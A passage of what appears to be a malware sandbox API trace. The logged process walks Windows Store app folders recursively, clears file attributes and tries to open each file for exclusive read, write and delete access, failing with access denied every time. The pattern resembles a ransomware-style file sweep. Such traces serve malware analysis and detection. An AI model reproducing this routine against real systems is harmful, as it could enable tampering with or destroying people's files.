	[0091.246] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.storepurchaseapp_1.0.45.0_x64__8wekyb3d8bbwe\\resources.pri")) returned 0x20
	[0091.246] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0091.246] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.storepurchaseapp_1.0.45.0_x64__8wekyb3d8bbwe\\resources.pri"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.246] GetLastError () returned 0x5
	[0091.247] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0091.247] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4718690) returned 1
	[0091.247] FindNextFileW (in: hFindFile=0x46a7150, lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1389dd42, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x138c3f9c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x138c3f9c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1430, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 0
	[0091.247] FindClose (in: hFindFile=0x46a7150 | out: hFindFile=0x46a7150) returned 1
	[0091.247] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47130e0) returned 1
	[0091.247] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7d118) returned 1
	[0091.247] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5ca68) returned 1

Thread:
	id = 853
	os_tid = 0x37c

	[0082.042] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x47c89e0
	[0082.042] wcscpy (in: _Dest=0x47c89e0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe"
	[0082.043] wcscat (in: _Dest=0x47c89e0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\"
	[0082.043] wcscat (in: _Dest=0x47c89e0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\*"
	[0082.043] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4713348
	[0082.043] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\*", lpFindFileData=0x4713348 | out: lpFindFileData=0x4713348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1374681a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xdfea1b47, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xdfea1b47, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7190
	[0082.045] wcscmp (_String1=".", _String2=".") returned 0
	[0082.045] FindNextFileW (in: hFindFile=0x46a7190, lpFindFileData=0x4713348 | out: lpFindFileData=0x4713348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1374681a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xdfea1b47, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xdfea1b47, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.045] wcscmp (_String1="..", _String2=".") returned 1
	[0082.045] wcscmp (_String1="..", _String2="..") returned 0
	[0082.045] FindNextFileW (in: hFindFile=0x46a7190, lpFindFileData=0x4713348 | out: lpFindFileData=0x4713348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1376ca6a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1376ca6a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1376ca6a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.045] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.045] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.045] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd6) returned 0x47738d0
	[0082.045] wcscpy (in: _Dest=0x47738d0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe"
	[0082.045] wcscat (in: _Dest=0x47738d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\"
	[0082.045] wcscat (in: _Dest=0x47738d0, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0091.204] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.storepurchaseapp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0091.204] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0091.205] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.storepurchaseapp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.205] GetLastError () returned 0x5
	[0091.205] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0091.205] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47738d0) returned 1
	[0091.205] FindNextFileW (in: hFindFile=0x46a7190, lpFindFileData=0x4713348 | out: lpFindFileData=0x4713348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1374681a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb0a25f5b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1374681a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0091.205] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0091.205] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0091.205] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x2e12e18
	[0091.205] wcscpy (in: _Dest=0x2e12e18, _Source="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe"
	[0091.205] wcscat (in: _Dest=0x2e12e18, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\"
	[0091.205] wcscat (in: _Dest=0x2e12e18, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0091.205] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x477f6f0
	[0091.205] wcscpy (in: _Dest=0x477f6f0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0091.205] wcscat (in: _Dest=0x477f6f0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\"
	[0091.205] wcscat (in: _Dest=0x477f6f0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*"
	[0091.205] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502e158
	[0091.205] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1374681a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb0a25f5b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1374681a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b428
	[0091.205] wcscmp (_String1=".", _String2=".") returned 0
	[0091.206] FindNextFileW (in: hFindFile=0x477b428, lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1374681a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb0a25f5b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1374681a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.206] wcscmp (_String1="..", _String2=".") returned 1
	[0091.206] wcscmp (_String1="..", _String2="..") returned 0
	[0091.206] FindNextFileW (in: hFindFile=0x477b428, lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1374681a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1374681a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1374681a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x6557, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBundleManifest.xml", cAlternateFileName="")) returned 1
	[0091.206] wcscmp (_String1="AppxBundleManifest.xml", _String2=".") returned 1
	[0091.206] wcscmp (_String1="AppxBundleManifest.xml", _String2="..") returned 1
	[0091.206] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x5028218
	[0091.206] wcscpy (in: _Dest=0x5028218, _Source="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0091.206] wcscat (in: _Dest=0x5028218, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\"
	[0091.206] wcscat (in: _Dest=0x5028218, _Source="AppxBundleManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml"
	[0091.206] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.storepurchaseapp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml")) returned 0x20
	[0091.206] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", dwFileAttributes=0x20) returned 0
	[0091.206] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.storepurchaseapp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.206] GetLastError () returned 0x5
	[0091.206] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", dwFileAttributes=0x20) returned 0
	[0091.206] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5028218) returned 1
	[0091.206] FindNextFileW (in: hFindFile=0x477b428, lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1374681a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1374681a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1374681a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x6557, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBundleManifest.xml", cAlternateFileName="")) returned 0
	[0091.206] FindClose (in: hFindFile=0x477b428 | out: hFindFile=0x477b428) returned 1
	[0091.207] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502e158) returned 1
	[0091.207] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477f6f0) returned 1
	[0091.207] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e12e18) returned 1
	[0091.207] FindNextFileW (in: hFindFile=0x46a7190, lpFindFileData=0x4713348 | out: lpFindFileData=0x4713348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1376ca6a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x13792cc4, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x13792cc4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x296b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0091.207] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0091.207] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0091.207] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x477fa70
	[0091.207] wcscpy (in: _Dest=0x477fa70, _Source="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe"
	[0091.207] wcscat (in: _Dest=0x477fa70, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\"
	[0091.207] wcscat (in: _Dest=0x477fa70, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0091.207] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.storepurchaseapp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0091.209] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0091.209] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.storepurchaseapp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.209] GetLastError () returned 0x5
	[0091.209] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0091.209] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477fa70) returned 1
	[0091.209] FindNextFileW (in: hFindFile=0x46a7190, lpFindFileData=0x4713348 | out: lpFindFileData=0x4713348*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xdfea1b47, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb0a26390, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdfea1b47, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0091.209] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0091.209] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0091.209] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf8) returned 0x4776760
	[0091.209] wcscpy (in: _Dest=0x4776760, _Source="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe"
	[0091.209] wcscat (in: _Dest=0x4776760, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\"
	[0091.210] wcscat (in: _Dest=0x4776760, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0091.210] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x5026a60
	[0091.210] wcscpy (in: _Dest=0x5026a60, _Source="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0091.210] wcscat (in: _Dest=0x5026a60, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0091.210] wcscat (in: _Dest=0x5026a60, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0091.210] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502e158
	[0091.210] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xdfea1b47, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb0a26390, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdfea1b47, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b528
	[0091.213] wcscmp (_String1=".", _String2=".") returned 0
	[0091.214] FindNextFileW (in: hFindFile=0x477b528, lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xdfea1b47, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb0a26390, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdfea1b47, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.214] wcscmp (_String1="..", _String2=".") returned 1
	[0091.214] wcscmp (_String1="..", _String2="..") returned 0
	[0091.214] FindNextFileW (in: hFindFile=0x477b528, lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xdfea1b47, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb0a26390, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdfea1b47, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0091.214] FindClose (in: hFindFile=0x477b528 | out: hFindFile=0x477b528) returned 1
	[0091.214] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502e158) returned 1
	[0091.214] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5026a60) returned 1
	[0091.214] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776760) returned 1
	[0091.214] FindNextFileW (in: hFindFile=0x46a7190, lpFindFileData=0x4713348 | out: lpFindFileData=0x4713348*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xdfea1b47, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb0a26390, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdfea1b47, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0091.214] FindClose (in: hFindFile=0x46a7190 | out: hFindFile=0x46a7190) returned 1
	[0091.215] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4713348) returned 1
	[0091.215] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47c89e0) returned 1
